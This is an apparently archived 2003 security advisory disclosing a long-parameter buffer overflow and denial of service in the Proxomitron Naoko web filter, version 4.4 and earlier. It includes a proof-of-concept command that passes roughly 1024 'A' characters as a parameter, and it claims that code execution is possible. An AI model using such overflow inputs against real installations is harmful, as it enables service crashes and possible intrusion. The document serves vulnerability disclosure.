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Proxomitron.txt

Proxomitron.txt
Posted Feb 21, 2003
Authored by Gregory Le Bras | Site Security-Corp.org

Security Corporation Security Advisory [SCSA-005]: Proxomitron Universal Web Filter, version 4.4 and below, is vulnerable to a denial of service when being given a parameter over the length of 1024 bytes.

tags | advisory, web, denial of service
MD5 | 0b1ece32944c0c17ec422faa0d5eff3d

Proxomitron.txt

Change Mirror Download
.: Proxomitron Naoko Long Path Buffer Overflow/DoS :.
________________________________________________________________________

Security Corporation Security Advisory [SCSA-005]
________________________________________________________________________

PROGRAM: The Proxomitron Naoko
HOMEPAGE: http://www.proxomitron.org/
VULNERABLE VERSIONS: 4.4 and prior
________________________________________________________________________


DESCRIPTION
________________________________________________________________________

The Proxomitron is an Universal Web Filter.
(direct quote from Proxomitron website)


DETAILS & EXPLOITS
________________________________________________________________________

Sending a parameter with a buffer of 1024 bytes in length or more, causes
Proxomitron Naoko to crash.

This vulnerability can be easily exploited to execute code.

Exploitation example :

c:\Proxomitron>proxomitron AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA


SOLUTIONS
________________________________________________________________________

No solution for the moment.


VENDOR STATUS
________________________________________________________________________

The vendor has reportedly been notified


LINKS
________________________________________________________________________

French Version : http://www.security-corp.org/advisories/SCSA-005-FR.txt


------------------------------------------------------------
Grégory Le Bras aka GaLiaRePt | http://www.Security-Corp.org
------------------------------------------------------------



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